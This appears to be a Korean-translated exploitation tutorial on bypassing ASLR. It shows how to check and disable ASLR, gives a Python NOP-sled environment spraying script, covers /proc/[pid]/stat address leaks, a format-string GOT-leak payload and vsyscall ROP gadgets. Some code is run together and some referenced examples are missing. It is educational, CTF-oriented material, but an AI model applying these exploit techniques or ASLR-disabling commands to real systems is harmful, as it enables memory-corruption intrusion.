**주소 공간 레이아웃 무작위화 (ASLR)**는 운영 체제에서 시스템 및 애플리케이션 프로세스가 사용하는 메모리 주소를 무작위화하는 보안 기술입니다. 이를 통해 공격자가 특정 프로세스와 데이터(예: 스택, 힙 및 라이브러리)의 위치를 예측하기가 훨씬 더 어려워지며, 특정 유형의 익스플로잇, 특히 버퍼 오버플로우를 완화합니다.
ASLR 상태 확인
Linux 시스템에서 ASLR 상태를 확인하려면 /proc/sys/kernel/randomize_va_space 파일에서 값을 읽을 수 있습니다. 이 파일에 저장된 값은 적용되는 ASLR 유형을 결정합니다:
0: 무작위화 없음. 모든 것이 정적입니다.
1: 보수적인 무작위화. 공유 라이브러리, 스택, mmap(), VDSO 페이지가 무작위화됩니다.
2: 완전 무작위화. 보수적인 무작위화에 의해 무작위화된 요소 외에도 brk()를 통해 관리되는 메모리가 무작위화됩니다.
다음 명령어로 ASLR 상태를 확인할 수 있습니다:
cat/proc/sys/kernel/randomize_va_space
ASLR 비활성화
ASLR를 비활성화하려면 /proc/sys/kernel/randomize_va_space의 값을 0으로 설정합니다. ASLR 비활성화는 일반적으로 테스트나 디버깅 시나리오 외에는 권장되지 않습니다. ASLR을 비활성화하는 방법은 다음과 같습니다:
echo0|sudotee/proc/sys/kernel/randomize_va_space
You can also disable ASLR for an execution with:
ASLR를 실행에 대해 비활성화할 수도 있습니다:
import subprocessimport traceback# Start the processnop =b"\xD5\x1F\x20\x03"# ARM64 NOP transposedn_nops =int(128000/4)shellcode_env_var = nop * n_nops# Define the environment variables you want to setenv_vars ={'a': shellcode_env_var,'b': shellcode_env_var,'c': shellcode_env_var,'d': shellcode_env_var,'e': shellcode_env_var,'f': shellcode_env_var,'g': shellcode_env_var,'h': shellcode_env_var,'i': shellcode_env_var,'j': shellcode_env_var,'k': shellcode_env_var,'l': shellcode_env_var,'m': shellcode_env_var,'n': shellcode_env_var,'o': shellcode_env_var,'p': shellcode_env_var,}cont =0whileTrue:cont +=1if cont %10000==0:breakprint(cont, end="\r")# Define the path to your binarybinary_path ='./aslr-testing'try:process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)output = process.communicate()[0]if"0xd5"instr(output):print(str(cont) +" -> "+ output)exceptExceptionas e:print(e)print(traceback.format_exc())pass
로컬 정보 (/proc/[pid]/stat)
프로세스의 파일 **/proc/[pid]/stat**는 항상 모든 사용자가 읽을 수 있으며, 흥미로운 정보가 포함되어 있습니다:
startcode & endcode: 바이너리의 TEXT 위와 아래의 주소
startstack: 스택 시작의 주소
start_data & end_data: BSS 위와 아래의 주소
kstkesp & kstkeip: 현재 ESP 및 EIP 주소
arg_start & arg_end: cli arguments 위와 아래의 주소
env_start &env_end: env variables 위와 아래의 주소
따라서, 공격자가 악용되는 바이너리와 동일한 컴퓨터에 있고 이 바이너리가 원시 인수에서 오버플로우를 기대하지 않지만, 이 파일을 읽은 후에 조작할 수 있는 다른 입력에서 오버플로우를 기대하는 경우, 공격자는 이 파일에서 일부 주소를 가져와서 이를 기반으로 오프셋을 구성할 수 있습니다.
누수를 제공받으면(쉬운 CTF 도전 과제), 이를 기반으로 오프셋을 계산할 수 있습니다(예를 들어, 공격하는 시스템에서 사용되는 정확한 libc 버전을 알고 있다고 가정할 때). 이 예제 익스플로잇은 여기에서의 예제에서 발췌한 것입니다(자세한 내용은 해당 페이지를 확인하세요):
버퍼 오버플로우를 악용하여 ret2plt를 이용해 libc의 함수 주소를 유출할 수 있습니다. 확인해보세요:
Format Strings Arbitrary Read
ret2plt와 마찬가지로, 포맷 문자열 취약점을 통해 임의의 읽기가 가능하다면 GOT에서 libc 함수의 주소를 유출할 수 있습니다. 다음 예시는 여기에서 가져온 것입니다:
payload =p32(elf.got['puts'])# p64() if 64-bitpayload +=b'|'payload +=b'%3$s'# The third parameter points at the start of the buffer# this part is only relevant if you need to call the main function againpayload = payload.ljust(40, b'A')# 40 is the offset until you're overwriting the instruction pointerpayload +=p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
ASLR를 우회하기 위해 스택 내의 주소를 악용해 보세요:
vsyscall
vsyscall 메커니즘은 특정 시스템 호출이 사용자 공간에서 실행될 수 있도록 하여 성능을 향상시키는 역할을 합니다. 이들은 근본적으로 커널의 일부입니다. vsyscall의 주요 장점은 ASLR(주소 공간 배치 무작위화)의 영향을 받지 않는 고정 주소에 있습니다. 이러한 고정된 특성 덕분에 공격자는 주소를 결정하고 이를 익스플로잇에 사용할 정보 유출 취약점이 필요하지 않습니다.
그러나 여기에서 매우 흥미로운 가젯은 발견되지 않을 것입니다(예를 들어 ret;와 동등한 것을 얻는 것은 가능하지만).
예를 들어, 공격자는 익스플로잇 내에서 주소 0xffffffffff600800을 사용할 수 있습니다. ret 명령어로 직접 점프하려고 하면 몇 개의 가젯을 실행한 후 불안정성이나 충돌이 발생할 수 있지만, vsyscall 섹션에서 제공하는 syscall의 시작으로 점프하는 것은 성공적일 수 있습니다. 이 vsyscall 주소로 실행을 이끄는 ROP 가젯을 신중하게 배치함으로써, 공격자는 이 익스플로잇의 이 부분에 대해 ASLR를 우회할 필요 없이 코드 실행을 달성할 수 있습니다.